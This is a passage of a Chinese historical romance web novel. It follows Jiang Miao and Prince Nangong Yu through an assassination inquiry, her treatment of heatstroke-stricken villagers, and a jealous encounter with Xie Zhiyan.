女子说的坦然,语气中又带着几分狡黠。南宫煜眼中飞快地闪过了一丝什么,快得无法抓住。良久才勾唇微微一笑,“好,很好。”
江渺没猜出他这个好字的含义,是在赞扬她?怎么听起来有点瘆得慌,忽觉冷风骤起,她轻轻打了个寒颤。
“嗯。听起来有点无\耻。”
……
江渺想抬脚给他一个后空翻。最终还是压制下来,冷冷笑道:“呵……呵呵。多谢王爷夸奖。”
话音刚落,不远处打更声在静夜中响起,他们转出深巷,前方路上渐渐有了行人身影与零星灯火。
看见有人朝他们走来,江渺下意识地看了一眼身下的马儿。男女同乘一骑,可真是惹眼。既然已到人烟处,那便自己下来走罢。
正要开口叫停,身旁传来衣料摩挲的轻响。未及多想,一件带着体温的黑色披风在月色中扬起,稳稳落在了她肩上。
紧接着,那只长着老茧的手抬起,将宽大的风帽为她仔细戴上,妥帖地掩去了大半面容与散乱的鬓发。
空气似乎静滞了一瞬,某种难以言喻的、近乎亲昵的妥帖感,随着披风上清冽的气息一同笼罩下来。所说刚才她觉得有些尴尬,此刻心情有点复杂。
【殿、殿下他
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知不知道……这个动作有点过于……】
【停!江渺,别乱想!】
【人家王爷只是好意周全,怎能妄自揣度,平白折辱人家君子之风!】
“咳……”
一声低咳自身后传来,适时截断了江渺脑海里翻腾的杂念。南宫煜的语气平静,仿若无事发生:“别动,你也不想被旁人无端窥\探,徒惹是非吧。”
江渺身形一颤,腰背挺得笔直,刻意与身后之人拉开几分距离。
这人窥\探人心的本事了得啊啊啊!
不多时,骏马带着他们直奔另一处客栈。江渺有些愕然,南宫煜却如同早有预料,率先为她解释道:“今夜行刺之人,身手利落,进退有度,绝非寻常江湖匪类。三皇姐与你此番南下既以商客身份掩人耳目,贸然惊动官府,反倒打草惊蛇。敌暗我明,谨慎些为好。”
江渺颔首沉思。确实如此,江伯玉曾对她说过,睿王回京,朝堂暗流涌动。虽然南宫煜在昌都并无根基,可若是陛下有心要扶持他呢?那已经在昌都以为胜券在握的那群人,能够善罢甘休吗?
古往今来,牵扯到党争,皇权一事,免不了的流血牺牲。她不会这么倒霉才出狼窝又入虎口吧?
江渺无奈看天。
听南宫煜所言,那便是了。今夜刺杀恐怕正是冲着三公主,或者说,是冲着可能因三公主南下而牵动的某些局面而来的。
究竟是警告?是灭口?还是想搅乱一池本就浑浊的水?
想跑,恐怕已经晚了。如今也只能走一步看一步了……
“别怕。”南宫煜翻身下马,却见江渺仍坐于马背上,一副神游天外、忧思深重的模样。他心头微动,猜测或许是刚刚自己话惊着了她。
这个念头一浮现,竟让他自己都觉着有几分意外,他何时竟会揣度起一个小女子的心思,还因此生出一丝近乎多余的顾虑?
随即他便暗自摇了摇头,嘴角不由微微上扬。眼前这女子,分明狡猾如狐,胆大心细,方才在绝境之中尚能冷静周旋、暗藏后手,岂是那般容易被几句言语吓退的软弱之人。
若真是胆小怕事之辈,又怎么会孤身一人去引开刺客?他真是多虑。
不过看她这个样子,倒是让南宫煜确定了一件事情,那便是他并不是时时刻刻都能够听到她的心声。
似乎,只有她在嘀嘀咕咕骂骂咧咧时那些话语才会传入他的耳中。这发现,倒比朝堂上那些钩心斗角、绵里藏针的机锋,来得有趣得多。
他眼底掠过一丝兴味,很快收敛住心神,朝江渺伸出手:“到了,先下马。”
江渺的思绪被他的声音拉回,目光落在他骨节分明的手掌上,又飞快地瞥了一眼他仿佛从未动容过的侧脸。
【刚才那句别怕……果然是错觉吧。】
【也是,这位殿下看着就不像会说软话的人。】
【药不能停,江渺,清醒一点!】
她借力利落地跃下马背,肩头那件玄色披风随之滑落些许,又被她下意识地拢紧。
南宫煜不再多言,引着她步入客栈。
37.隐情
“小姐!”一个身影飞奔而来。“您没事吧!吓死奴婢了!”阿洛哭哭啼啼,看样子是真吓坏了。
她可是亲眼见了那些黑衣人是如何手起刀落,如同砍瓜切菜般了结了数名无辜住客。一想到自家小姐那纤细的身影独自面对这般凶徒,她便觉肝胆俱颤。
此刻见江渺虽鬓发微乱、衣裙染尘,但全须全尾地站在面前,悬着的心才轰然落地,眼泪更是止不住地往下掉。
谢天谢地。小姐平安归来了!她不由得感激地看向江渺身边的睿王殿下。
还得是殿下靠谱啊!
江渺轻声安慰阿洛,两人正说着话,南宫凝从楼上下来。她已换了一身行装,发髻也被重新梳理过,看起来依旧娴静端庄,见江渺回来,她心中也是大石落地,语气中带着关切:“渺妹妹,可曾伤到哪里吗?”
江渺松开阿洛,转向南宫凝,微微一礼:“凝姐姐,我无事。多亏了睿王殿下及时相救。”她目光无声地掠过南宫煜。
南宫凝顺着她的目光看向自己一向冷言冷语的弟弟,见他神色淡淡,只微微颔首,便知他不欲多言。索性不再看她,只握住江渺的手,“没事就好,是姐姐连累了你。”
这时候大家都是一条绳上的蚂蚱了,还说什么连累不连累。江渺轻轻摇头,打量了一眼客栈的环境,见周围都是南宫煜的人,遂放下心来:“凝姐姐无需自责,当务之急怕是我们要尽快查出对我们痛下杀手之人是谁,才能安心南下。”
南宫凝不置可否。
“进内室谈吧。”一直未曾开口的南宫煜忽然出声,“正巧本王手里也有一些消息,想必三皇姐和江姑娘应该都会感兴趣。”他率先上楼,江渺与南宫凝对视一眼,快步跟了上去。
雅间内,晨光与烛火交织在一起,映出一片橙黄。
南宫煜立于窗前,见两人关门进来,开门见山地说道:“这群杀手训练有素,招式统一,绝非简单的强盗匪患,谋财害命。”
这一点两人早已想到,不约而同地点了点头。南宫煜自怀中暗袋中取出一物,放于两人身前的雕花木桌上。
“这是……”南宫凝见到桌上的东西后面色蓦地一沉。
江渺的目光亦被吸引过去。
“自一名刺客身上搜得。”南宫煜解释道,指尖将那枚玄铁令牌向江渺的方向轻轻一推。
令牌形制精巧,暗纹繁复,透着森然之气。江渺确信自己未曾见过此物,却又无端觉得有些眼熟。
想了想,江渺终于察觉到哪里不对劲。这暗纹隐约与她在水牢中见到影魅身上佩戴的令牌有几分相似。
莫非……
一个念头在脑海中骤然升起,让她眉头轻轻一皱。
这一细微的动作未能逃过南宫煜的眼睛,他眸光一沉,试探问道:“江姑娘可认识?”
江渺下意识摇头,心里只是猜测如何作准。何况南宫凝在场,若言语不慎泄露过多,恐将这位与世无争的公主卷入更深漩涡。
南宫煜却突然沉声打破她的顾虑:“江姑娘但说无妨。此处皆是自己人。”
江渺愕然抬眼,望向南宫煜,又转向南宫凝。难道……南宫凝也知晓影魅之事?
南宫凝见江渺表情微怔,轻言向江渺解释道:“是,渺妹妹,我并非存心隐瞒于你,只是……”
“凝姐姐,你无需解释。我都知道。”江渺适时打断南宫凝的话。朝堂纷争,多事之秋,他们这些王子公主们人人看似身处云端,实则
她拉住南宫凝,语气稍沉:“殿下,此物我确实未见过,但是这令牌上的暗纹却是有几分眼熟,与陵王殿下府中的影魅所佩戴的令牌纹样十分相似。”
“二皇兄?”南宫凝虽然在看到令牌的一刻,心中隐约有所猜测,但是真当江渺将这个答案说出来,又觉得惊异不已。
她与二皇兄虽说并不亲近,可是素日无甚冤仇,他何以要对她痛下杀手。
还有渺妹妹她……为何会知道陵王府中如此隐蔽之事。就连她也只是听过几分传言,未曾得见过这群神出鬼没的死士。
她下意识地将目光看向南宫煜,或许,五皇弟不仅仅是因为制药才将江渺留在身边……
江渺不知南宫凝此时心中翻腾的念想,只当是自己骤然提及影魅令她惊异,略一沉吟,寻了个合理的缘由解释道:“凝姐姐不必讶异,是机缘巧合下,我曾救助过一名落难的影魅,因而见过那令牌的模样。”
云杉身上也有一枚令牌。据她所言,影魅皆出自一个隐秘组织,被集中驯养,形同工具。令牌是调度与身份的象征,寻常影魅本无权持有,云杉那一枚,是她姐姐以性命为代价换来,助她挣脱枷锁的唯一生机。
想到这里,江渺微不可察地叹了口气。
南宫煜收起令牌,沉声道:“江姑娘果然见多识广。不过,此物并非出自陵王府。”
“据我所知,训养影魅的组织极为隐秘,行踪莫测。他们训练的死士,并非有钱有势便可驱使。其遴选主顾的条件严苛至极,令牌的授予,更代表着一种……来自该组织内部的认可与契约。”
他的目光缓缓扫过南宫凝与江渺:“寻常宗亲权贵,甚至于你我,都未必有资格染指。能调动他们行刺杀之事的,其身份……”
南宫煜话音一顿,未尽之言让江渺心下一沉。
南宫凝是当今公主,金枝玉叶。身份比她更为尊贵,且有能力调动此等隐秘力量的人,在这朝野之中,屈指可数。究竟是何人想要取南宫凝性命?
一时间心绪复杂。江渺眸色越来越沉重,本以为解决了安乐郡主,再寻回林清月,她就能高枕无忧,做一个闲云散鹤。
如今看来,怕是连她也被卷入这纷杂的朝堂之争中了。
南宫煜见两人皆是神色复杂,心知她们各有盘算,略一顿对南宫凝说道:“三皇姐,刀已经架到脖子上了。他们既已对你下手,便不会只有这一次。你还要继续装作不知,任由他们……,任由他们将你当作砧板上的鱼肉,步步紧逼,直至退无可退吗?”
南宫凝浑身微微一颤,面色倏然苍白,心乱如麻。
母后病榻前的谆谆告诫,言犹在耳,
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字字泣血。皇权之争,何其残酷。
她的兄长,那位英姿飒爽,深得父皇器重的大皇子,早已成了那条白骨铺就之路上的祭品。
母后深知她一离世,自己便会成为无根的野草,随时可以被人践踏,于是用尽最后的力气,为她选择了一条最安稳的路。
这些年她远离纷争,明哲保身,谨小慎微的生活在红墙里,确实也平平安安的长大了。可,如今为何突然就要对她痛下杀手?
她所有的指节都紧紧攥在一起,一股寒意自脚底升起,窜入脑海。去与留,进与退在身体里拉扯,心中一时难以做出抉择,久久无言。
站在一旁的江渺眼见着气氛越来越凝重,突然支支吾吾出声:“:“王爷,公主殿下,您二位有要事相商,要不……我先去外间等候?”
“嗯?”南宫煜的目光扫射过来,看得江渺有几分心惊。
刚刚听南宫煜说完,又见南宫凝神色变幻莫测,她心中已然料到南宫煜所说途径洛水镇,无意间遇到刺客一言怕是不仅如此。
恐怕一切早在他的计算之中,而他今日所言无非是要拉南宫凝“入伙”。关于宫廷之中,权贵之间的秘密就要宣之于口。江渺深知知道的越多死的越快,她其实真的不想趟这趟浑水……
“你觉得时至今日,你还有机会把自己撇出去吗?”南宫煜挑眉看她。
江渺又懂了。
连她也被算计了。
【太狗了!】
【居然想用这种方式逼我上船!】
【真是岂有此理!】
感受到南宫煜的眼神骤然冷了几分,江渺识趣的回身,脸上挤出几分真诚且怂的笑,慢悠悠地蹭了回来:“开玩笑的,殿下您真的多虑了。”
君子报仇,十年不晚!
南宫煜很满意她的表现,继续对南宫凝说道:“三皇姐,我并非有意逼迫。只是母妃当年含冤而去,此仇不共戴天,身为人子,不可不报。我所求不多,只需你在关键时,助我一臂之力即可。”
【听不见,我听不见!】
【不对!等等……母妃之仇?苏贵妃?】
【苏贵妃不是……自戕而亡吗?宫里宫外,不都是这么传的?】
【难道……其中另有隐情?!】
江渺极力地压制心头的杂念,却在听到苏贵妃之死时,浑身忍不住微微一颤。若苏贵妃之死并非自戕而亡,那幕后之人会是谁?南宫煜此番突然回京,明面上是奉召,暗地里……莫非就是为了追查生母枉死的真相,誓要报仇雪恨?
所以,他的敌人是……佳贵妃?陵王?还是他们背后盘根错节的庞大势力?
这个推断让江渺心底陡然升起一股寒意。难怪……那夜在长阳侯府的藏书阁,他会那样突兀而冰冷地质问她与陵王是何关系。
当时她还觉得莫名其妙,如今想来若她不是江渺而是那个痴念陵王的原主,怕是早就被他视为同党,列入黑名单了吧。即便她救他一命,也能给他提供解药,也会被他毫不留情地除掉?
【可怕……真可怕。】
38.好巧
南宫凝沉默良久,终是极轻的应了声:“嗯。”
目的已达到,南宫煜便不再多言,直接告诉两人他将派人处理好昨夜刺杀的事情,并且会亲自护送两人前往南靖。
妥善安排好后续事情,三人各自回到了自己的房间。
江渺将房门紧闭,走到桌边为自己沏了一杯茶,浅尝几口才觉心情平静下来。
藏书阁那日,她本意是私下为南宫煜解毒,盼着事了之后桥归桥、路归路,两不相干。即便后来他送来梧桐,又在安国公府为她解围,二人也始终保持着恰好的距离,未曾引人猜疑。
可是如今两人要同行南下,这不是明目张胆的告诉他的敌人,她江渺和睿王是一伙的吗?
她还能独善其身吗?
江渺越想越觉得可恨,一掌拍在桌上,先前还觉得他心细如发、处处周全,如今看来,这人分明是机关算尽,要将她牢牢绑在他的棋局之上。
躺在床上辗转反侧,一直到了日上三竿才觉精疲力尽,沉沉睡去。
*
众人在客栈休整一日,翌日清晨趁暑气未盛,再度启程南下。。
南宫煜一路沉默护持,寡言如常。南宫凝也恢复了往日那般清冷端庄的模样,只是江渺隐约觉得,经此一事,这位公主待自己似乎多了几分不着痕迹的亲近。
江渺想也许是因为她们现在拥有同样的秘密的缘故吧。
事已至此,她且边看边走,如有生变,再应付也成。如今要紧的事情还是先找回林清月,彻底斩断与陵王的牵连。
这么一想,心下稍稍松快下来,也有了闲情倚窗眺望沿途风光。
前方,南宫煜策马而行。一袭青衫被风拂动,墨发玉冠,长剑悬腰,清挺的背影映在连绵翠色之中,竟如一幅流动的画卷,引人注目。
江渺不知不觉竟看呆了几分。
南宫凝拾眸见她倚窗静望,不由顺着她的视线望去,待落在那道青影上时,唇角悄然弯起一丝了然的弧度,极轻地笑了一声。
这一笑,忽地将江渺从九天云外召回来。
“凝姐姐,你笑什么?”
南宫凝以袖掩唇,眼中漾着淡淡笑意:“方才瞧见窗外有根呆木头,煞是有趣。”
江渺下意识“嗯”了一声,转头朝外细看去。
满目青野,田舍稀疏,哪有什么木头?
她正茫然着,眼光却无意瞥见不远处的田野间,隐约露出一个倒地的身影。
“停车!”江渺急唤。
南宫煜勒马回身,见她神色有异,循着她的视线望去,随即会意,示意身侧的三千带人上前查看。
不多时,三千几人搀扶着一个气息微弱的粗衣汉子返回。那汉子面色赤红,汗出如浆却又皮肤干热,双目紧闭,唇色发绀,四肢时有轻微抽搐。
“主子,是位农人,看样子是暑热太重,厥过去了。”三千将人扶至车前回禀。
江渺掀开车帘凝神细看过来,心下不由一沉。农夫气息奄奄,双目紧闭,这已非普通中暑,分明是热症侵体已深,若再不施救,只怕凶多吉少。
在现代,即便预防医学已经兴起,对于热射病的普及也在全面开展。每年还是会有数人,因为热射病救治不及时而死去。
人命关天,江渺未及多想,提起裙摆便跃下马车,迅速指挥护卫将人移至阴凉处。
“解开他衣领,保持通风!取点水来!对了,要凉水,不可用冰水!”她喝住正欲取冰的丫鬟,一边吩咐注意事项,一边已打开随身药箱,取出清心露,小心喂入农夫口中。
此时,前去探路的侍卫匆匆折返,禀报道:“前方田间还有不少农人似有不适,症状类似,只是轻重不一。”
南宫煜几不可察地颔首让侍卫继续去探,下意识地却低头来看向江渺,只见她眉头微微蹙起,似在思考着什么。
片刻,她抬头起来,目光清亮地直视南宫煜道:“殿下,盛夏暑气难却,恐不是一人之事,而是暑热成灾。虽然殿下说过我们此行需要小心谨慎,隐藏行踪,但……”
她话未说完,南宫凝也从马车上下来看向地上的农人,眼中闪过一丝不忍,沉默一瞬还是对南宫煜道:“五弟,渺妹妹所言,正是我心所想。我等身为皇室子女,既食天下俸禄,受万民奉养,见此百姓疾苦,又岂能袖手旁观,只顾自身行藏?”
南宫煜听着她们你一言我一语的劝说,眉头未曾松开,却也未见恼色。他静默了片刻,目光落在两人坚定地眼神上,嘴角微微牵起一个弧度,带着几分无奈道:“我什么时候说过不管了?”
两人闻言,皆是一愣。毕竟南宫煜素来冷血的名声在外,更有他的提醒言犹在耳,两人皆以为他并不会参与或是为了这群无关紧要的蝼蚁们略作停留。
南宫煜略过二人眼中的困惑,侧头对三千说道:“调几个人,将中暑的百姓聚集在一起,协助江姑娘救治。所需清水、药材,就近筹措。动作利落些,莫要过分张扬,但该做的,务必做周全。如果遇到什么异常,迅速过来禀报。”
“是!”三千领命,立即带人分头行事。
江渺心下稍稍安定下来,眸中带着几分感激地看向南宫煜,却也有些不好意思地开口:“多谢殿下\体恤。只是……所需药材中,有几味或许不太常见,能否烦请殿下帮忙留意筹措?”
寻常的薄荷、金银花或许易得,但她清心露里有一味冰魄兰蕊,性极清凉,能透热深腑,本就珍稀。她制成的成品有限,此地又不是她要风得风要雨得雨的昌都。
况且,救治热症重症,补充因大汗流失的盐分亦是关键。他们随行所带的盐虽有一些,可面对这许多病患,恐怕是杯水车薪。这毕竟不是现代,盐也并非随处可见的便宜物。
想了想还是决定求助南宫煜。
南宫煜目光扫过江渺沾染了尘土的裙摆,微微颔首:“可以。前方不远就是杏花村,江姑娘可
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在此处进行伤病者的救治。我会派人去镇上寻江姑娘所需之物。”
南宫煜思虑得周全,江渺对他的安排不置可否。得了准许,便立即行动起来。
南宫凝本来想留下来帮助江渺救助伤患,但江渺认为人多眼杂,南宫凝容易遭遇危险,于是劝着南宫凝先跟随队伍前去杏花村落脚,等到她将这边的伤患看诊过后再一起去杏花村与其汇合。
南宫煜又派了几人保护江渺,这才放心先将南宫凝送至安全地点。
江渺一刻也不敢耽搁,带着药箱快步地走向前方田地,果然见数名农人或坐或卧,神色萎靡,精神不佳。她蹲下身一边为症状最重者检查,一边吩咐身边人将这些农人搬运到阴凉处进行处置。
临到正午,日头更加热烈。江渺在酷暑下奔走查看,汗水早已浸\透衣衫。为防自身中暑,她只得褪\去外层繁复衣裙,仅着一件素青薄衫,发髻微松,珠钗斜坠,却浑然不顾。
南宫煜策马从杏花村返回,便见得这样一副场景。
炙热的骄阳下,少女青衫摇摆,洁白如玉的肌肤藏在薄纱后若隐若现。她发丝濡湿,黏在修长的颈侧与泛着红晕的颊边,鼻尖的汗珠在烈日下莹然生光,宛如碎钻缀于温玉之上。她却浑不在意,只全神贯注地俯身施针、察看舌苔、指挥喂药,举止利落,神态专注。
他曾见过深宫里精于算计的眉眼,见过朝堂上道貌岸然的臣子,也见过战场上悍不畏死的士卒,却从未见过一个侯府千金,能如此自然地蹲在田埂边,不顾仪容,只为救治一群素不相识的贫苦农人。
脑海中莫名地浮现出那日晨光中,女子坚定的眼眸,她对他说:“殿下,我希望你活下来。”
南宫煜心中微动,面上却不显露,翻身下马就走向江渺。
这边江渺刚好将一颗药喂予一农人服下,正起身要去查看下一个患者,却不料起身太急,又加上暑气过盛,一瞬间一阵强烈的眩晕感袭来,整个人身形一歪,一个踉跄就朝前扑过去。
在身边侍药的阿洛见状,低低惊呼一声,想要起身去拉住江渺,却已来不及。
就在江渺以为自己要与大地来一次亲密接触的时候,一只手突然伸出来稳稳地拉住了她的胳膊。
江渺愕然回首,正对上一双似笑非笑的眼睛。
这人姿容如玉,朗目疏眉,那双眼睛如同春风化水,直勾\人心。不同于南宫煜的风起英秀,自带威仪的俊美,他的容貌更像瑶林玉树,如同风尘外物。
江渺可以肯定,她从未见过他。
毕竟谁会对帅哥不印象深刻。
手臂上传来的温热触感让她倏然回神,这才惊觉自己仍借力于对方掌中。她连忙站稳,顺势抽回手臂,后退半步,敛衽行礼:“多谢公子援手。”
男子从容收回手,亦向后略退一步,保持合宜距离。他唇角微扬,笑意更深了几分,声音清越如山泉击玉:“姑娘,无需多礼。好巧,又见面了。”
39.表兄
此言一出,江渺眸中掠过一丝茫然。她飞速在记忆中搜寻,却毫无所得。
抬眼见对方仍含笑望着自己,不言不语,心下更觉奇怪,不由问道:“恕小女子眼拙,不曾识得公子,还请问公子尊姓大名?”
男子脸上笑意愈深。他身后随侍的少年忍不住急急开口:“我们公子……”
“阿兴。”男子突然温声打断少年的话,手中折扇“唰”地展开,轻摇两下,随后悠然举至面前,遮住了口鼻,只露出一双含笑的眼,静静望着江渺,似在等待着什么。
【……】
【这是让我猜?】
【萍水相逢,我哪儿猜得到?直说便是,何必打哑谜……】
江渺正暗自嘀咕,那扇子下的双眼与脑海中的那双明眸渐渐重合……
【莫非是……】
不远处,南宫煜已驻足静立,将江渺心中的碎碎念听了个分明,心下也觉得好奇,不忍打断,站在原地等候。
恰在此时,江渺眸光微亮,试探着问道:“公子莫非是……提灯节那夜,画舫之上的……”
“聪明!”谢知言见她忆起,眼中笑意粲然,“在下还担心,姑娘早已将谢某忘得一干二净了。”
江渺想起那夜此人出手相助后便飘然离去,连姓名也未留,恐怕是在顾忌什么。如今他主动表露身份,想必已无妨碍。
她神色一正,深施一礼:“谢公子说笑了。那夜蒙公子搭救,江渺感激不尽,岂敢相忘。只是公子当日戴着面具,方才一时未能认出,还请公子勿怪。”
谢知言收了折扇,亦郑重还礼:“玩笑之言,姑娘莫要介意。此前确有不便,未曾以真名实貌相见,也请姑娘海涵。在下谢知言,游历途经此地,听闻有善心人在此救治中暑乡民,特来一看,不想竟是故人。”
江渺含笑应过,那日谢知言就见她用药粉药倒过黑衣人,想来对她会行医一事已经了然,也无所忌讳,所以便不再隐瞒,将自己在此救助农人之事告知,但对自己南下一事做了隐瞒。
谢知言也未深究,两人寒暄几句,江渺这才发现谢知言也对医药颇有几分见解,不由地和他讨论起清心丸的效用。
一抬头见他额间隐有细汗,面色微红,便转身吩咐阿洛取些清心丸来。
这一切,尽数落入不远处南宫煜的眼中。他看着那二人言笑晏晏、相谈甚欢,看着江渺对谢知言流露出的那份自然而关切的笑意,心头忽地掠过一丝极细微的、连他自己都尚未明晰的不豫。
他在这烈日下已站了许久,她可曾注意到分毫?
她倒能看见那人额角有汗,记得让人取药防他中暑。
听她话中之意,这人曾救过她?呵,他又何止救过她一次?可曾见过她在他面前,有一次卸下防备,这么弱柳扶风般地看过他!
越想,心口那点莫名的滞闷便越是清晰。他眸色微沉,终是忍不住,一声不咸不淡的轻咳一声。
融洽的气氛被打破,江渺闻声侧首望来。
烈日铄金,南宫煜依旧是一身青衣,眉眼清冷,周身那股生人勿近的气息仿佛将周遭热浪都隔绝了几分。每次被他这样看着,江渺总觉脊背微凉,可此刻明明暑气蒸腾,她却觉得,他的脸色,似乎比往日还冷了几分。
莫名其妙……
江渺按下心头那点异样,端起一个无懈可击的假笑,唤道:“哥哥,你来啦。”
先前在客栈,南宫煜确曾提议几人以兄妹相称,以便隐藏行踪南下。江渺当时只觉僭越,虽说她现在还是侯府嫡女身份,可南宫煜南宫凝可是正经的天潢贵胄,她哪儿敢和皇子女称兄道弟,所以并未应承。
但南宫凝因着江渺舍身引开刺客的举动,加上连日来的相处,早已视她如妹一般,对此倒无异议。几番劝说下,江渺勉强同意,私下却依旧恭敬,尤其在南宫煜面前,始终守着殿下的称呼,未曾逾矩。
此刻不知怎的,她竟在谢知言面前,自然地唤出了这声哥哥。
谢知言闻言,目光转向南宫煜,含笑拱手:“原来是江姑娘的兄长。在下谢知言,有礼了。”
南宫煜下颌微抬,目光平淡地扫过谢知言,语气冷淡,带着一种无形的疏离与界定:“表哥。”
江渺:“……”
【这人抽什么风?谁跟你是表哥表妹了!】
谢知言笑容不变,姿态依旧从容:“原来是江姑娘的表兄,失敬,失敬。”
南宫煜鼻中轻嗯一声,并无多语。
此间气氛有些奇怪,江渺瞥了一眼面无异色的南宫煜,又侧头看看温文尔雅的谢知言,下意识地向前半步,隐隐将谢知言挡在身后些许。
她虽然搞不清楚南宫煜的想法,却隐隐察觉得到他似有不悦。以为是南宫煜不喜与旁人接触,并未多想。可见他端着一副架子面对自己的救命恩人,心中又有几分不悦。于是脸上笑容未减,眼里却带着些许警告,直视南宫煜:“是,表兄。您怎么过来了?”
南宫煜听着她这刻意拉开距离、带着公事公办意味的称呼,心头涌上几丝悔意,说不出来为什么这样,只得面上愈发冷峻:“杏花村那边已辟出几间洁净通风的屋舍,可供集中诊治。我带人来,将这些病患移送过去。”
侍立在后的三千低头看了看自己手中那把原本准备递给江渺遮阳的油纸伞,又看了看主子冷硬的侧脸,一时有些茫然……
主子方才急匆匆折返,明明说的是送伞来着?
谢知言恍然,温和笑道:“原来如此,表兄考虑周
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详。”他随即转向江渺:“江姑娘,病患众多,你一人施救恐分身乏术。在下略懂几分医道,左右无事,不知可否随姑娘同往,略尽绵力?”
“好啊。”江渺正觉人手紧张,闻言欣然应允。
“不行!”南宫煜的声音几乎同时响起,斩钉截铁,毫无转圜余地。
空气骤然一静,仿佛有看不见的火花在两人之间迸溅。
【这人怎么了?!】
【脑子被暑气蒸坏了?】
【简直莫名其妙!】
江渺忍下翻白眼的冲动,不解地看向南宫煜。
南宫煜直接无视了她眼中明晃晃的质疑与不满,目光落在谢知言身上,语气冷淡却不容置疑:“谢公子好意,我们心领了。只是我等南下有要事在身,行程隐秘,不便与外人同行。救治乡民之事,自有我们料理周全,不劳公子费心。”
他顿了顿,视线转向江渺,意有所指地补充道:“况且,舍妹年轻识浅,处世经验不足,我与家姐还需从旁看顾指导,恐无暇他顾。谢公子游历之身,还是莫要卷入无关是非为好。”
这话说得客气,明眼人都能听出来是下了逐客令。
江渺听出他话里话外的强硬和排外,心下更是不悦。但是碍于不能将身份暴露在外与眼前局势,不便当众反驳,只得盯着南宫煜暗自咬牙切齿。
谢知言何等敏锐,岂会听不出南宫煜的言外之意,他的眸光在南宫煜与江渺之间轻轻一转,脸上笑意依旧,从善如流地向南宫煜一拱手:“原来如此,是在下唐突了。江表兄思虑周全,谢某佩服。既如此,便不便再打扰诸位了。江姑娘,保重。”
说完,谢知言干脆利落的转身,只在转身的一刻,目光清和地对江渺微微一笑,随即带着阿兴翩然离去,一如当初在画舫上一般干净,逐渐消失在远方。
江渺望着他离去的方向,心下虽然有些遗憾失去一个助力,但是更多是对南宫煜方才专断的态度有些微词。她转回头,正对上南宫煜深邃难辨的目光。
“还愣着做什么?”南宫煜移开视线,语气一如既往地冷淡,“安排人手,移送病患。你,”他目光落在江渺汗湿的额发和单薄的衣衫上,顿了一下,“去马车上歇片刻,喝点水。稍后到了杏花村,有你忙的。”
说罢,不再看她,径自转身去指挥侍卫。
江渺看着他的背影,一口气堵在胸口,上不去下不来。这人……真是喜怒无常,难以捉摸!
好的时候又很好,莫名其妙的时候又莫名其妙。
她悻悻地招呼阿洛收拾药箱,心里却将那声表哥和方才他冷着脸赶人的样子,翻来覆去掂量了好几遍。
三千默默将伞收了起来,眼观鼻鼻观心,决定忘记送伞这回事。
40.心事
南宫煜有公务在身,将江渺和沿路中暑之人送至杏花村的医馆后,便带着部分人手离去查案。
好在他留下的侍卫足够得力,加之南宫凝也换上简便衣物,主动帮着分药递水、安抚病人,救治之事虽忙,却也有条不紊。
本以为日头西斜,暑气下去后,情况会有所好转,可随着时间流逝,被送至杏花村的人竟渐渐多了起来。不仅有中暑的农人,还有些听闻此处有善心人施医赠药,扶老携幼前来求治的寻常百姓,有的是陈年咳喘,有的是劳作损伤,还有孩童腹泻发热。
一时间简陋的小屋变得拥挤不堪,药气在空气中翻腾,裹挟着热潮扑面而来。众人忙上忙下,再一回神已经暮色沉沉,已至傍晚。
待大部分病患情况稳定下来,江渺才得空喘了口气,寻了张矮凳坐下,环顾四周,不禁心生疑惑。
盛夏酷暑,农人本该规避午间烈日,今日为何会有如此多人同时中暑倒地?还有这许多扶老携幼前来求诊的百姓?
这……实在有违常理。
心中疑虑难消,寻了个间隙,与一位正在喝药的老农询问缘由。
老农放下陶碗,粗糙的手掌抹了把脸,叹气道:“姑娘,看您穿衣打扮,便知姑娘是富贵人。您不知我们庄稼人的苦……,这几年,田赋一年重过一年,老天爷又不赏脸,连着旱,地里刨食难啊!交完皇粮,自家锅里就见了底。不顶着日头多干点活计,找补些嚼用,这一家老小可怎么活?”
江渺秀眉微蹙,“往年也这般酷暑劳作么?”
“年年如此。”老农摇头:“可往年虽热,倒不像今年,晕倒的人这般多。姑娘,您不知道,在您来之前就已经有许多人不治而亡了。我隔壁的张二牛家,他家今年才添了一双儿女,为了养活两个孩子,顶着日头去做苦力,结果……哎,一头倒下去,就再也没起来!可怜的,留下他们孤儿寡母,还不知道能活过几天啊……”
老农脸上的沟\壑被滑落的热泪填满,声音越发低沉下去:“昨儿还听老婆子说,他家那个小子病了,怕是……哎!”
老农情难自已,低头抹了把泪。如今这吃人的世道,连自己都自身难保,如何顾及他人。
一番话听得江渺心中也不禁揪扯起来,她低声问道:“那孩子没去请郎中看看吗?”
老农闻言,又是一阵叹息,浑浊的眼中透出无奈:“病了也没法子,如今大家都信那些道长仙师,觉得喝符水比吃药管用。就算想找大夫,这十里八乡的,哪儿还有几个正经会瞧病的人?请不起,也找不到啊。”
江渺不禁皱眉。
这话与之前在昌都时,阿洛闲谈提及的重道轻医之风竟如出一辙。她原以为那只是都城富贵圈里的荒唐,却不料在这远离昌都百里的乡野,竟也侵蚀至此。
皇宫之内尚有太医署,纵然如今水准参差,总归有个去处,富贵人家也能有所选择。可这些面朝黄土背朝天的百姓呢?他们又能去何处求一线生机?
江渺只觉得胸口像是被人塞了浸水的棉絮,沉甸甸地喘不过气来。
她忽然清晰地意识到,上位者一个轻飘飘的喜好,一句推崇道法的旨意,经由层层放大、效仿,落到这田间地头,便是无数百姓求医无门、不得不以肉身硬扛病痛的现实。
他们可以避居深殿享受冰鉴消暑,可以召天下名医随侍左右,而这些烈日下佝偻的身影,却连一碗对症的汤药都成了奢望。
风起于青萍之末,浪成于微澜之间。
高位者不经意吹出的风,刮到民间,便是能摧折万千草木的狂风。
她蹲在简陋的凉棚下,看着眼前一张张因暑热和劳累而憔悴蜡黄的脸,手中装着清心露的药瓶仿佛有千斤重。
她能救得了一时,救得了这一村,可这天下间,还有多少杏花村?多少在制度与风气夹缝中苦苦挣扎的普通人?
一股深深的无力感,混杂着某种不甘的灼热,在她心底悄然滋生。她第一次如此清晰地意识到,自己掌握的医术,在这皇权当道,等级森严的困局面前,是多么的微小。
“渺妹妹,”南宫凝温和的声音在一旁响起,递过一碗清水,“你脸色不太好,可是累着了?歇一歇吧。”
江渺蓦地回过神,正对上一双关切的眼眸。南宫凝自她回来,也一直在小屋里忙得脚不沾地,她一个金枝玉叶,自小便被伺\候长大的天潢贵胄竟然与她一同照顾别人,不由地让江渺对其也刮目相看,心中不觉与南宫凝亲近几分。
接过水碗,按下心中的杂念,轻声回道:“我没事,凝姐姐。只是……有些感慨。”
